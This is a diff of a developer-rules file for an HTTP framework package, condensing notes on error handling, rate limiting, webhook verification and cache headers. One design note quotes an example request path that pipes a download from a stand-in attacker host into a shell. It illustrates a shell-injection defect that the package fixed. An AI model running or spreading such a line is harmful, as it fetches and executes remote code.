imported here, exactly as `AuthzDecision` is. The call sits INSIDE the
|
|
457
|
-
`config.dev && wantsOverlay` branch: the overlay is a notice's only surface, so a production
|
|
458
|
-
process, or an agent that asked for problem+json, must not pay a diagnostic's per-request cost
|
|
459
|
-
for findings nothing renders. No notices means no card, byte for byte.
|
|
460
|
-
- **`matchRoute` never throws — a pathname is whatever the client typed.** `decodeURIComponent`
|
|
461
|
-
is called only through `router.ts`'s guarded `decodeSegment`, and a segment that will not decode
|
|
462
|
-
answers `{ reason: 'path-invalid', segment }` → `X_PATH_INVALID` → 400. A bare `URIError` here
|
|
463
|
-
reached `factsOf` as `X_INTERNAL`, so a `%ZZ` answered 500 and paged the on-call for a typo.
|
|
464
|
-
Only the branch that would have decoded fails: static segments are compared raw, so a path that
|
|
465
|
-
reaches no param or wildcard is still a 404 and precedence is unchanged.
|
|
466
|
-
- **`handle()` resolves to a Response or the server has no answer at all.** The request phases are
|
|
467
|
-
guarded by `execute`'s own `try`; the two that run after them are guarded in `finalize.ts`, and
|
|
468
|
-
neither guard is optional. A finalize stage that refuses the response it was handed degrades to
|
|
469
|
-
`X_PIPELINE_FINALIZE_FAILED` (500), and the chain runs a **second** pass over that problem
|
|
470
|
-
document — whose headers are writable — so the request id, CORS and the security headers still
|
|
471
|
-
reach the client. Two passes, never a loop. A throw inside the recover stage (an app's `onError`,
|
|
472
|
-
a `devNotices` producer) is answered with the problem document for the error the request actually
|
|
473
|
-
hit: the stage that renders a throw has nothing left to render its own. Every degraded answer goes
|
|
474
|
-
*through* the recover stage, never around it — reporting, logging and the overlay each keep one
|
|
475
|
-
call site.
|
|
476
|
-
- **Both guards in that tail are TOTAL against a throwable that fights being read** (`As of
|
|
477
|
-
2026-08`). `recoverWith`'s catch built its log line with `String(failure)`, which is itself a
|
|
478
|
-
`TypeError` on a null-prototype object — thrown out of the one guard documented "never throws, by
|
|
479
|
-
construction", from the frame with nothing above it. It is a log FIELD now, the same rule the
|
|
480
|
-
`error-map` stage already follows, and `logger.emit` degrades a hostile field per key. The second
|
|
481
|
-
half is `factsOf`: it read `record['code']` directly, and that read is a getter call or a
|
|
482
|
-
`Proxy`'s `get` trap on a value the framework did not build — so a handler throwing one took the
|
|
483
|
-
recover stage AND the `problem()` the guard degrades to, and `handle()` rejected. Every field
|
|
484
|
-
comes off the throwable through core's `stringField`. Never spell either read inline again:
|
|
485
|
-
`String(x)`, `${x}` and a bare property read on a caught value are all the same defect, and
|
|
486
|
-
`error-render.ts` names seven prior instances.
|
|
487
|
-
- **A table keyed by a `code` is read with `Object.hasOwn`, never `[code] !== undefined`** (`As of
|
|
488
|
-
2026-08`). `code` is a string off a throwable this package did not build, so `ERROR_STATUS` and
|
|
489
|
-
`HTTP_ERROR_TITLES` — object literals, and therefore holders of every name on
|
|
490
|
-
`Object.prototype` — answered `'toString'`, `'constructor'`, `'valueOf'` and `'hasOwnProperty'`
|
|
491
|
-
with a FUNCTION. `statusFor` handed that to `new Response(body, { status })`, a `RangeError`
|
|
492
|
-
raised inside `recoverWith`'s fallback, and `handle()` rejected: the same defect class as the
|
|
493
|
-
reads above, arriving through a lookup instead of a property. `registerErrorStatus` had the third
|
|
494
|
-
copy, refusing an app code named `toString` with a cause reading `the framework already maps it
|
|
495
|
-
to function toString() { [native code] }`. `scripts/error-map.ts` reads this table correctly and
|
|
496
|
-
always has. `APP_ERROR_STATUS` is a `Map`, which is why it never had the bug — prefer one for
|
|
497
|
-
anything keyed by a value a caller chose.
|
|
498
|
-
- **`recoverWith`'s fallback is INSIDE its `try`.** `return problem(ctx.error, …)` sat beside the
|
|
499
|
-
guard, so the file whose one promise is "never throws, by construction" rested on every reader
|
|
500
|
-
below that line being total. The degraded answer is a literal `problem+json` document naming
|
|
501
|
-
`X_INTERNAL`, built with no call that could fail in turn, and the renderer's own failure goes to
|
|
502
|
-
the log as `pipeline.problem_failed` — a last resort sharing a code path with what just broke is
|
|
503
|
-
not one.
|
|
504
|
-
- **One request spends a LIST of rate-limit keys, and the tenant's is the second** (`As of
|
|
505
|
-
2026-08-24`). `rateLimitKey` picked ONE subject — actor > org > ip, exclusive — and `actorView`
|
|
506
|
-
answers `null` for anonymous, so `orgId` was consulted only for a caller with an org and no id:
|
|
507
|
-
**no authenticated request ever touched an org bucket**. A tenant with 8,000 seats whose
|
|
508
|
-
integration entered a retry loop therefore took 8,000 × the per-actor burst against one shared
|
|
509
|
-
pool, every bucket inside its own limit, and no number an operator could set would have refused
|
|
510
|
-
it — while `@ultimat3/jobs` has had `perTenant` since it shipped. `rateLimitSpends` answers the
|
|
511
|
-
caller's key **and** `tenant|org:<id>` when the app declared `rateLimit.tenantBucket`; the stage
|
|
512
|
-
spends them in order and stops at the first refusal, so a caller its own bucket already refused
|
|
513
|
-
costs its tenant nothing. The tenant key is deliberately NOT scoped to the route — a per-route
|
|
514
|
-
tenant bucket is the same number multiplied by the route table, which is not a cap. `null` is
|
|
515
|
-
the default because one tenant is a person and the next is five thousand seats (axiom 8), and a
|
|
516
|
-
name nothing declares is `X_RATE_LIMIT_TENANT_BUCKET_UNKNOWN` at `defineHttpConfig`, never a
|
|
517
|
-
silent fall-through to `default`. The headers report the bucket **closest to refusing**: telling
|
|
518
|
-
a client `remaining: 99` off its own bucket while its tenant's holds 2 is a number that plans a
|
|
519
|
-
caller into a 429.
|
|
520
|
-
- **The memory rate-limit store is bounded, and the eviction order is part of the guarantee.**
|
|
521
|
-
The key falls back to the connection address (`rateLimitSpends`), so a scan rotating through an
|
|
522
|
-
IPv6 /64 mints one entry per request — an unbounded map hands the flood the process. Every
|
|
523
|
-
entry carries `forgetAtMs`, the instant a refilled bucket becomes indistinguishable from a
|
|
524
|
-
missing one, and the sweep drops those for free. `DEFAULT_MAX_RATE_LIMIT_KEYS` is the backstop,
|
|
525
|
-
and it evicts the entries **closest to full** first: throwing away a spent bucket is a free
|
|
526
|
-
reset for whoever spent it, so the most-throttled key is the last one to go. Never swap that
|
|
527
|
-
comparator for insertion order or an LRU — recency is not the same as worthlessness here.
|
|
528
|
-
- **The limiter takes a `Clock`; `Date.now()` is not read here** (`As of 2026-08-19`). `rate-limit.ts`
|
|
529
|
-
read it inline while BOTH production call sites (`server.ts`, `pipeline.ts`) built their limiter
|
|
530
|
-
with no override, so the bucket maths that decides whether a caller is throttled could not be
|
|
531
|
-
frozen by any test — while `@ultimat3/auth`'s credential limiter has taken an injected `Clock`
|
|
532
|
-
since it shipped. `createRateLimiter({ clock })` defaults to `systemClock`, the same shape as
|
|
533
|
-
`createRequestContext`'s `init.clock`. Deliberately NOT a `clock` on `PipelineDeps`:
|
|
534
|
-
`deps.limiter` is already the one seam for handing the pipeline a limiter you built, and a second
|
|
535
|
-
entry point for one number is axiom 1.
|
|
536
|
-
- **Where the limiter's counters live is DECLARED by the app, never inferred, and refused at
|
|
537
|
-
boot — and there is no default.** `DEFAULT_RATE_LIMIT` carries no `scope`, so
|
|
538
|
-
`resolveRateLimitConfig` refuses `X_RATE_LIMIT_SCOPE_UNSET` at `defineHttpConfig` when a limiter
|
|
539
|
-
that is ENABLED has not been told. `'process'` used to be the default, which made "nobody asked"
|
|
540
|
-
and "the app said one replica" the same value while `docker/helm/values.yaml` runs three — so
|
|
541
|
-
`assertRateLimitScope` below, which only fires on a `'shared'` declaration, could never see the
|
|
542
|
-
silent case. A disabled limiter owes no declaration: nothing is enforced, so nothing can be
|
|
543
|
-
wrong. The rest of the check is unchanged: `RateLimitStore.scope` says what a driver provides; `config.rateLimit.scope` says what
|
|
544
|
-
the deployment requires; `assertRateLimitScope` compares them once, inside `createPipeline` —
|
|
545
|
-
the one construction path `createServer`, the tests and any embedder all share. `'shared'` over
|
|
546
|
-
a per-process store is `X_RATE_LIMIT_NOT_SHARED` before the socket opens, because the failure it
|
|
547
|
-
replaces is silent: the limiter's counters are **per process**, and `docker/helm/values.yaml`
|
|
548
|
-
runs `roles.web.replicas: 3` before its HPA has said anything, so every configured bucket was
|
|
549
|
-
being enforced three times over with a green `x verify`. Nothing here reads the
|
|
550
|
-
environment to guess a replica count — an app that scales is the only thing that knows. The
|
|
551
|
-
supported way to install one is `createServer({ rateLimitStore })`, which builds the limiter
|
|
552
|
-
through `createRateLimiter` and hands it to the `PipelineDeps.limiter` seam that already
|
|
553
|
-
existed; never add a second limiter entry point beside it.
|
|
554
|
-
- **The shared store is `postgresRateLimitStore({ executor })`, and it is what makes
|
|
555
|
-
`scope: 'shared'` satisfiable** (`As of 2026-08`). Before it, `assertRateLimitScope` refused
|
|
556
|
-
every store the framework shipped, so the declaration required by a chart with `replicas: 3` had no
|
|
557
|
-
answer. `PgExecutor` is declared STRUCTURALLY here, exactly as `@ultimat3/action`'s idempotency
|
|
558
|
-
store declares it: this package has no `@ultimat3/db` dependency, and taking one to type a single
|
|
559
|
-
method would put the database package in http's install graph. The refill expression is repeated
|
|
560
|
-
four times inside `on conflict do update` **on purpose** — only a direct `x_rate_limit.<column>`
|
|
561
|
-
reference reads the row as it is after the lock, so a CTE computing it once would compute from
|
|
562
|
-
the statement's own snapshot and lose a concurrent spend. `spent` is a stored column because the
|
|
563
|
-
token count alone cannot tell a take that landed at 0.5 from a refusal with 0.5 left, and the
|
|
564
|
-
invented answer would be "allowed". `purgeExpired(nowMs)` takes the CALLER's clock and never
|
|
565
|
-
`now()`: `last_ms` is written from the caller's, so measuring against the server's reads the
|
|
566
|
-
offset between the two as refill and deletes buckets a throttled caller is still sitting in.
|
|
567
|
-
- **A bucket a route names is a bucket something must register.** `meta.rateLimit` selects by
|
|
568
|
-
name and `meta.rateLimitBucket` carries the numbers; `withRouteBuckets` (`rate-limit-buckets.ts`)
|
|
569
|
-
merges them into `config.rateLimit.buckets` at construction, in `createServer` and again in
|
|
570
|
-
`createPipeline` — idempotently, since the store-backed limiter is built from the merged config
|
|
571
|
-
and `bucketFor` must see the same table the pipeline does. It has to happen there: routes do not
|
|
572
|
-
exist when `defineHttpConfig` builds the table, so a name declared and never registered fell
|
|
573
|
-
through to `default` — an action declaring `limit: 5` ran on 120 burst while its OpenAPI
|
|
574
|
-
operation published 5. **Precedence is refusal, not a winner.** An identical restatement passes;
|
|
575
|
-
any disagreement, with the config or with another route, is `X_RATE_LIMIT_BUCKET_CONFLICT` before
|
|
576
|
-
the socket opens — the same shape as `assertRateLimitScope` and as `@ultimat3/auth`'s
|
|
577
|
-
`AuthLimiter` policy check, and for the same reason: the declaration that lost would go on being
|
|
578
|
-
read as enforced. Never make one side the default winner.
|
|
579
|
-
- **Registering into the config is only half of it — the installed LIMITER must hold the bucket
|
|
580
|
-
too.** `createRateLimiter` closes over its config, so a limiter handed to `PipelineDeps.limiter`
|
|
581
|
-
resolves names against the table it was built with; one built before the routes existed misses
|
|
582
|
-
the route's name, falls through `bucketFor` to `default`, and was measured at 120 burst and 21
|
|
583
|
-
of 21 requests allowed for a route declaring 5. `RateLimiter.buckets` publishes that table —
|
|
584
|
-
declared, never inferred, exactly as `RateLimitStore.scope` is — and `assertRouteBuckets` runs
|
|
585
|
-
beside `assertRateLimitScope` in `createPipeline`. **Refused, never rebound**: a `RateLimiter`
|
|
586
|
-
is opaque, so rebinding means discarding the caller's limiter and the store it carries, and a
|
|
587
|
-
caller who built their own may have meant their own numbers. A limiter that declares no table
|
|
588
|
-
is refused too — what cannot be shown to hold is not assumed to hold.
|
|
589
|
-
- **`verifyWebhookSignature` is a FUNCTION, never a pipeline stage** (`As of 2026-08-24`). The
|
|
590
|
-
secret is per SENDER, and only the route knows which sender it is serving; a stage would need one
|
|
591
|
-
secret for the whole app or a table this package has no business holding. It reads the body
|
|
592
|
-
through core's `readWithinLimit` — the same counting reader `UltimateRequest.#read` uses — so it
|
|
593
|
-
composes with the cap rather than defeating it, and it answers the raw text so the caller parses
|
|
594
|
-
the bytes that were signed rather than a re-serialisation of them.
|
|
595
|
-
|
|
596
|
-
The order inside it is load-bearing: the mac is checked BEFORE the freshness window, so
|
|
597
|
-
`X_WEBHOOK_SIGNATURE_STALE` means *authentic and old* and never *unreadable and old* — an
|
|
598
|
-
operator reading it goes to a clock or a replay, which is the only reason the second code exists.
|
|
599
|
-
The window is `Math.abs`, both directions: a sender whose clock runs ahead is the same replay
|
|
600
|
-
window pointed the other way, and accepting the future half doubles it. The timestamp is parsed
|
|
601
|
-
digits-only because `Number('nope')` is `NaN` and `NaN > toleranceMs` is FALSE — the one guard
|
|
602
|
-
whose failure mode is "the check does not run". `:` is refused in the id and the topic because
|
|
603
|
-
one mac over `v1:t:evt:01HZ:orders.paid:<body>` would otherwise authenticate two different
|
|
604
|
-
id/topic splits. The comparison is `timingSafeEqual` and may never become `===`; `bun run
|
|
605
|
-
secret-compare` is the mechanical half and `mac`/`signature` are names it reads.
|
|
606
|
-
|
|
607
|
-
**The FORMAT is `@ultimat3/core`'s and is not re-declared here** (`As of 2026-08-24`).
|
|
608
|
-
`packages/core/src/webhook-signature.ts` owns the canonical string, the mac and the parse;
|
|
609
|
-
this file owns the POLICY — what counts as fresh, how large a body may be, and which refusal a
|
|
610
|
-
receiver answers with. It shipped for one release as two implementations, here and in
|
|
611
|
-
`@ultimat3/jobs`, held together by a hex literal asserted in two test files: this package is
|
|
612
|
-
tier 2 and may not reach tier 3, that one's boundary forbids `http`, so the one copy lives at
|
|
613
|
-
the tier both can reach — the argument `timing-safe-equal.ts` makes for itself. The two literal
|
|
614
|
-
vectors stay until `scripts/webhook-round-trip.test.ts` replaces them. **Never re-declare the
|
|
615
|
-
canonical string here.**
|
|
616
|
-
- Never throw a bare `Error` — use a factory from `errors.ts`.
|
|
617
|
-
- No `any`. Validation goes through Standard Schema (`validate.ts`), not a vendor API.
|
|
618
|
-
- Health endpoints answer outside the pipeline, on purpose.
|
|
619
|
-
- **Lifecycle belongs to core.** `server.ts` uses `beginWork()`, `markReady()`,
|
|
620
|
-
`drain()` and `healthzPayload()`/`readyzPayload()`. Never keep a private `state` or
|
|
621
|
-
in-flight counter — core waits on work it does not know about, so a private counter
|
|
622
|
-
hangs every deploy at the `inflight` phase.
|
|
623
|
-
- **`stop()` hands its two hooks back ABOVE its early return** (`As of 2026-09`). The `close` hook
|
|
624
|
-
sets `server = undefined`, so on the SIGTERM path `if (server === undefined) return` skipped the
|
|
625
|
-
`unregister?.()` pair in the `finally` — for exactly the path production takes. Every later
|
|
626
|
-
`stop()` (a test teardown, `x dev`'s role rollback) left both registrations pointing at a socket
|
|
627
|
-
that was already gone, and `shutdownHookCount()` — the probe `packages/core/CLAUDE.md` names for
|
|
628
|
-
this leak — climbed by two per server per lifecycle. `packages/http/e2e/server.e2e.test.ts` reads
|
|
629
|
-
that probe now; the shape is `@ultimat3/jobs`' worker teardown, where the release is the
|
|
630
|
-
closure's business and never the drain's.
|
|
631
|
-
- **A pathname reaching a `fix:` goes through `renderFixShellArg`** (`As of 2026-09`).
|
|
632
|
-
`routeNotFound`'s fix is `x g route <path>`, a command, and the path is whatever an anonymous
|
|
633
|
-
caller typed: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into the
|
|
634
|
-
line the framework tells its reader to paste. The value still travels in the `cause`, which is
|
|
635
|
-
read rather than run. `renderFixLiteral` does not cover this — its double quotes leave `$(…)`
|
|
636
|
-
live in every POSIX shell.
|
|
637
|
-
**A `code` is gated instead of screened** (`As of 2026-09-06`): `factsOf`'s fallback `fix:` is
|
|
638
|
-
`x errors explain <code> --json`, and `code` is a string field off a throwable this package did
|
|
639
|
-
not build — a worker message, a WebSocket frame, an app's own object — so it goes through core's
|
|
640
|
-
`FRAMEWORK_CODE`, never `startsWith('X_')`. A value that is not a code answers nothing anyway,
|
|
641
|
-
so the honest command is `x errors list --json`. Same gate, same reason, as `@ultimat3/mcp`'s
|
|
642
|
-
`server.ts`; the value still travels in `facts.code`.
|
|
643
|
-
**And a SUPPLIED `fix:` is taken only from a BRANDED framework error** (`As of 2026-09-06`). The
|
|
644
|
-
gate above screens the code this package renders INTO a command; this one screens a whole command
|
|
645
|
-
a throwable handed over. `factsOf` normalises a worker message, a WebSocket frame and any app
|
|
646
|
-
object, so a foreign `fix` is remote text landing in the line an operator is told to paste, and a
|
|
647
|
-
framework code beside it makes the line read as the framework's own — `isUltimateError`, and
|
|
648
|
-
nothing else, is what says the value went through `renderFixShellArg` and this tree's gate. An
|
|
649
|
-
error that crossed a wire and lost its brand falls to the generated line, which is honest. The
|
|
650
|
-
`cause` still travels: a cause is read, never run.
|
|
651
|
-
- **Borrowed error codes are never titled or registered here.** `X_FORBIDDEN` is policy's,
|
|
652
|
-
`X_UNAUTHENTICATED` is auth's; both sit in `HTTP_BORROWED_ERROR_CODES`, which carries codes
|
|
653
|
-
only. `HTTP_ERROR_TITLES` holds owned codes, and `registerErrorCodes` takes it whole and
|
|
654
|
-
unguarded — declaring a borrowed one throws `X_ERROR_CODE_DUPLICATE` at import, which is the
|
|
655
|
-
point. `factsOf` therefore reads a borrowed code's title off the error itself, never the map.
|
|
656
|
-
- **A `cache-control` age is delta-seconds or it is DROPPED, never emitted** (`As of 2026-08-26`).
|
|
657
|
-
`finiteDeltaSeconds` in `response.ts` — `Number.isSafeInteger && >= 0`, per field. `max-age=NaN`
|
|
658
|
-
is not a shorter age, it is an unparseable directive a conforming cache IGNORES, so the response
|
|
659
|
-
fell back to heuristic caching rather than to the declared age. TOTAL, never a throw: this is the
|
|
660
|
-
response path, and a bad cache hint must not become a 500. Every fallback is the SHORTER
|
|
661
|
-
direction — `max-age` to 0, `s-maxage` and `stale-while-revalidate` omitted — so nothing here can
|
|
662
|
-
lengthen an age the caller did not ask for. `http.cache_hint_not_delta_seconds` names the field.
|
|
663
|
-
**The boot-time half is `route-cache.ts`, `As of 2026-08-26`** — the layered form: refuse where
|
|
664
|
-
the value is WRITTEN, be total where it is USED. `createRouter` screens `Route.cache`'s three
|
|
665
|
-
delta-seconds fields per route and throws `X_CONFIG_INVALID` naming the route and the key, so
|
|
666
|
-
`cache: { maxAgeSeconds: Number(process.env.CACHE_AGE) }` fails at boot instead of registering
|
|
667
|
-
cleanly and surfacing as one warn line per request, forever. The two screens must accept exactly
|
|
668
|
-
the same set: this one decides what may be DECLARED, `finiteDeltaSeconds` what may be WRITTEN,
|
|
669
|
-
and a value one accepts and the other drops is a silent hole between them. **Zero stays legal at
|
|
670
|
-
both ends** — `max-age=0` is "revalidate every time" and `PRIVATE_CACHE`, `defaultCache`'s
|
|
671
|
-
anonymous hint and the CLI's authorized-object hint all declare it. `ctx.cache` is NOT screened
|
|
672
|
-
and must not be: it is app-set per request at runtime, which is the total side by definition.
|
|
673
|
-
- Tests must not touch the network — the preload seals `fetch`. Socket tests live in
|
|
674
|
-
`e2e/` and run with `bun test packages/http/e2e`, sealed: `start()` calls core's
|
|
675
|
-
`markListening()`, so the seal treats our own port as self, not egress. Never unseal.
|
|
24
|
+
- **An app declares its half of `HttpConfig` through `configureHttp()`**, and the boot lays its own
|
|
25
|
+
facts over it. `AppHttpConfig` is `Omit<HttpConfigInput, BootOwnedHttpKey>` — derived, so a
|
|
26
|
+
boot-owned key (`port`, `hostname`, `dev`, `buildId`, `signInPath`, `trustProxy`,
|
|
27
|
+
`trustedProxyHops`, `rateLimit.scope`) is a type error where an app writes it. `mergeHttpConfig`
|
|
28
|
+
merges `security.csp.extend` per directive. `type-pins.ts` refuses a key on `HttpConfig` missing
|
|
29
|
+
from `HttpConfigInput`.
|
|
30
|
+
- **`config.drainTimeoutMs` defaults to `null`**: `createServer` calls `configureLifecycle({
|
|
31
|
+
deadlineMs })` only when declared. **`ServerOptions.drain`** (`app.config.ts`'s `drain`) passes
|
|
32
|
+
`readinessGraceMs` to core the same way.
|
|
33
|
+
- **`cors.origins: ['*']` with `credentials: true` is `X_CORS_CONFIG_INVALID`.** A refused origin
|
|
34
|
+
still gets `vary: origin`.
|
|
35
|
+
- **A `security.csp.extend` entry must emit only the directive it names**
|
|
36
|
+
(`X_CSP_DIRECTIVE_INVALID`); `buildCsp` builds through a `Map`.
|
|
37
|
+
- **The security headers are built once per `(SecurityConfig, https)`** (`responseSecurityHeaders`, a
|
|
38
|
+
`WeakMap`); a config is never mutated after `defineHttpConfig`. HSTS only when `ctx.https` is affirmed.
|
|
39
|
+
|
|
40
|
+
## Rules — the context
|
|
41
|
+
|
|
42
|
+
- **`asCtx` is a WIDENING the compiler checks, never a cast** (`RequestContext extends Ctx`;
|
|
43
|
+
`_RequestContextIsACtx` in `type-pins.ts`). `ctx.buildId` is the process's build;
|
|
44
|
+
`ctx.clientBuildId` is the client's claim, read only by `assertBuild()`.
|
|
45
|
+
- **`createRequestContext` COMPOSES `createContext()`** — no assertion in this file, and
|
|
46
|
+
`defineService` factories and the service spread are core's. Services go on FIRST so a service
|
|
47
|
+
named `actor` loses to the request's field (`context.test.ts`).
|
|
48
|
+
- **A request's registered services are LAZY and bound to the authenticated actor**
|
|
49
|
+
(`request-services.ts`, `installServices: false` + `bindRequestServices`): built on first read,
|
|
50
|
+
rebuilt only if actor, locale or tz changed. `request-services.test.ts`.
|
|
51
|
+
- **A member's saved locale and zone apply, re-resolved after `auth`**
|
|
52
|
+
(`resolvePreferences`; cookie beats a saved locale, a saved zone beats the cookie).
|
|
53
|
+
`member-preferences.test.ts`.
|
|
54
|
+
- **The `locale` stage decides WHERE, the owners decide WHAT**: raw strings to `@ultimat3/i18n`'s
|
|
55
|
+
`resolveLocale` and `@ultimat3/time`'s `resolveTimeZone`, landing on core's `ctx.locale`/`ctx.tz`.
|
|
56
|
+
Defaults are `configureTime({ defaultZone })` / `defineCatalogs({ default })`, never `HttpConfig`.
|
|
57
|
+
- **`ctx.actor` is never null** — the `auth` stage turns the hook's `null` into `anonymousActor()`.
|
|
58
|
+
- **The context carries the inbound headers, never the `Request`** (`ctx.requestHeaders`,
|
|
59
|
+
`useRequestHeader` / `useRequestCookie`).
|
|
60
|
+
- **`hooks.authenticate` has one declaration site: `configureAuthenticator()`.**
|
|
61
|
+
- **`hooks.devNotices` is called only inside the `config.dev && wantsOverlay` branch.**
|
|
62
|
+
|
|
63
|
+
## Rules — the pipeline
|
|
64
|
+
|
|
65
|
+
- **The lifecycle is three files**: `pipeline.ts` owns the ORDER (`PIPELINE_STAGES`, phases, loop,
|
|
66
|
+
ALS, span, the one metrics call); `stages.ts` owns what each stage does and the vocabulary;
|
|
67
|
+
`finalize.ts` owns the tail. Imports go `pipeline.ts` → `stages.ts`; a stage reads
|
|
68
|
+
`StageRunnersInput`, never `PipelineDeps`. A new stage is an entry in both `PIPELINE_STAGES` and the
|
|
69
|
+
`Record<StageName, StageRun>` table, with a `why` and a test.
|
|
70
|
+
- **The two inbound ids are read BEFORE the context and the span** (`correlation.ts`, core's
|
|
71
|
+
`parseTraceparent`). `x-request-id` is gated on `trustProxy`; `traceparent` deliberately is not.
|
|
72
|
+
- **Every proxy-supplied header goes through `forwardedElement(header, hops)`** — the entry at
|
|
73
|
+
`entries.length - hops`, never `[0]`; a short chain trusts nothing. `trustProxy` defaults to false
|
|
74
|
+
and requires `trustedProxyHops`. `x-forwarded-proto` (HSTS) and Envoy XFCC (`peer-identity.ts`) ride
|
|
75
|
+
it; `ctx.peer` is `null` unless trusted and is never an actor.
|
|
76
|
+
- **One deadline per request** (`deadline.ts`): `requestTimeoutMs` (30 s, `0` disables), shortenable
|
|
77
|
+
by `x-request-timeout-ms`, never lengthened. `ctx.signal` is the deadline OR the caller going away
|
|
78
|
+
(`AbortSignal.any` with `Request.signal`); `expired` is the timer's alone. `Deadline.deadlineAt` is
|
|
79
|
+
published as core's `ctx.deadlineAt`, which `traceHeaders()` sends onward. Always `deadline.clear()`
|
|
80
|
+
in the `finally`.
|
|
81
|
+
- **`admit` is the second stage and refuses before ANY work**: past `maxInflight` (1000) is
|
|
82
|
+
`X_OVERLOADED` with `retry-after`, counted by core's `inflightCount()`. **A DRAINING process
|
|
83
|
+
serves** with `connection: close`; only `lifecycleState() === 'stopped'` answers `X_DRAINING`
|
|
84
|
+
(`pipeline-hardening.test.ts`).
|
|
85
|
+
- **`csrf` sits after `auth` and before `body`**: an ambient-credential unsafe request needs
|
|
86
|
+
`sec-fetch-site: same-origin`, an `Origin` equal to this app (from `ctx.https`), or one EXACTLY in
|
|
87
|
+
`cors.origins` (`originListed`, never `allowedOrigin`); else `X_CSRF_BLOCKED` (403). No
|
|
88
|
+
`mode: 'token'`.
|
|
89
|
+
- **`meta.enforcedBy` says who evaluates `meta.policy`**: `'pipeline'` (default) decides via
|
|
90
|
+
`hooks.authorize`; `'handler'` stands the `authz` stage down.
|
|
91
|
+
- **A 403's `fix:` names the POLICY** (`route.meta.policy`), degrading to `x routes --json` for a
|
|
92
|
+
composite.
|
|
93
|
+
- **The body cap is enforced while reading** (`UltimateRequest.#read`'s counting reader, cancelling
|
|
94
|
+
past `bodyLimitBytes`); multipart goes through the same capped bytes.
|
|
95
|
+
- **A repeated field is a LIST in all three parsers** (`collectFields`).
|
|
96
|
+
- **`matchRoute` never throws**: `router.ts`'s `decodeSegment` answers `path-invalid` →
|
|
97
|
+
`X_PATH_INVALID` (400).
|
|
98
|
+
- **`handle()` resolves to a Response or nothing**: request phases are guarded by `execute`, the tail
|
|
99
|
+
by `finalize.ts` — a refusing finalize stage degrades to `X_PIPELINE_FINALIZE_FAILED` with a second
|
|
100
|
+
pass; everything degraded goes THROUGH the recover stage. **Both guards are TOTAL** (`String(x)`
|
|
101
|
+
and bare property reads on a caught value are forbidden; `factsOf` uses core's `stringField`), and
|
|
102
|
+
**`recoverWith`'s fallback is INSIDE its `try`** (a literal `X_INTERNAL` document, logged
|
|
103
|
+
`pipeline.problem_failed`).
|
|
104
|
+
- **`toBucket` lives here** (action and query both need it). **`ERROR_STATUS`'s keys are LITERAL**
|
|
105
|
+
(`satisfies`, pinned by `@ts-expect-error` in `error-map.test.ts`); non-literal codes go through
|
|
106
|
+
`statusFor()` / `BY_CODE` with `Object.hasOwn`. A table keyed by a caller's code is read with
|
|
107
|
+
`Object.hasOwn`, or is a `Map` (`APP_ERROR_STATUS`).
|
|
108
|
+
- **The `cache-headers` stage is the ONE owner of the final cache answer**: `offersSharedCache` turns a
|
|
109
|
+
shared answer for an identified request into `PRIVATE_CACHE` and gives an anonymous one
|
|
110
|
+
`SHARED_CACHE_VARY` (`accept-language, cookie`); `immutable` is left alone. `vary` is added, never
|
|
111
|
+
set (`addVary`).
|
|
112
|
+
- **A `cache-control` age is delta-seconds or DROPPED** (`finiteDeltaSeconds`, total, always the
|
|
113
|
+
shorter direction; logs `http.cache_hint_not_delta_seconds`). Its boot half is `route-cache.ts`:
|
|
114
|
+
`createRouter` refuses a bad `Route.cache` with `X_CONFIG_INVALID`. Both accept the same set; zero
|
|
115
|
+
is legal. `ctx.cache` is not screened.
|
|
116
|
+
- **A handler's own `Response.status` is never rewritten** (`pipeline-handler-status.test.ts`).
|
|
117
|
+
- Health endpoints answer outside the pipeline. **Lifecycle belongs to core** (`beginWork()`,
|
|
118
|
+
`markReady()`, `drain()`, the payloads) — never a private state or in-flight counter.
|
|
119
|
+
- **`stop()` hands its two hooks back ABOVE its early return** (`packages/http/e2e/server.e2e.test.ts`
|
|
120
|
+
reads `shutdownHookCount()`).
|
|
121
|
+
|
|
122
|
+
## Rules — errors and the problem document
|
|
123
|
+
|
|
124
|
+
- Statuses live in `error-map.ts` only; the framework table is closed and an app declares its codes
|
|
125
|
+
with `registerErrorStatus()` (refuses a framework code). No projection of the app's half.
|
|
126
|
+
**`error-facts.ts` renders the throwable**; the seam is `declaredStatusFor(code)`, imports one way.
|
|
127
|
+
- **A problem's `type` is `problemTypeFor(code)` = `urn:ultimate:error:<CODE>`; its `docs` is core's
|
|
128
|
+
`ERROR_DOCS_URL`.** `finalize.ts`'s `lastResort` literal is pinned against `problemTypeFor('X_INTERNAL')`.
|
|
129
|
+
- **A 5xx cause is withheld unless its code opts in** (`hasPublicCause`, `problem-meta.ts`;
|
|
130
|
+
`registerProblemMeta({ CODE: { publicCause: true } })`). `toProblem(error, { dev })` defaults `dev`
|
|
131
|
+
to false. An unclassified 5xx carries nothing off the throwable.
|
|
132
|
+
- **The document carries the ISSUE LIST** as a top-level `issues` member: `issuesOf` is total,
|
|
133
|
+
all-or-nothing, absent (never `[]`) when none, dropped past `MAX_PROBLEM_ISSUES` (100), dropped under
|
|
134
|
+
the opacity condition; `received` forced to `''`, entries rebuilt member by member.
|
|
135
|
+
- **`meta` reaches the document only by declaration** (`registerProblemMeta({ CODE: [keys] })`, app
|
|
136
|
+
codes only; not `issues`, not `__proto__`): `wireMeta` copies declared keys through
|
|
137
|
+
`Object.defineProperty`, bounded by `MAX_PROBLEM_META_BYTES`, dropped when opaque.
|
|
138
|
+
- **A rejected value is a log FIELD, never the message** — the `error-map` line's message is the code alone.
|
|
139
|
+
- **A rejected BODY names only what the framework chose**: `bodyInvalid`'s `issues` are a fixed
|
|
140
|
+
vocabulary; what the caller sent rides in `meta`; the parser's message goes through `renderThrowable`.
|
|
141
|
+
- **A browser failing `auth: 'required'` is redirected; an agent gets the problem document**
|
|
142
|
+
(`auth-redirect.ts`, in `error-map` before the overlay). `config.signInPath` is `null` until named.
|
|
143
|
+
`nextAfterSignIn` is the ONE `?next=` reader: same-origin paths only, a control character is
|
|
144
|
+
off-site, re-parsed against an unreachable origin, never throws.
|
|
145
|
+
- **A pathname in a `fix:` goes through `renderFixShellArg`** (`routeNotFound`). **A `code` is gated by
|
|
146
|
+
core's `FRAMEWORK_CODE`** before `x errors explain <code>`, else `x errors list --json`. **A supplied
|
|
147
|
+
`fix:` is taken only from a branded error** (`isUltimateError`).
|
|
148
|
+
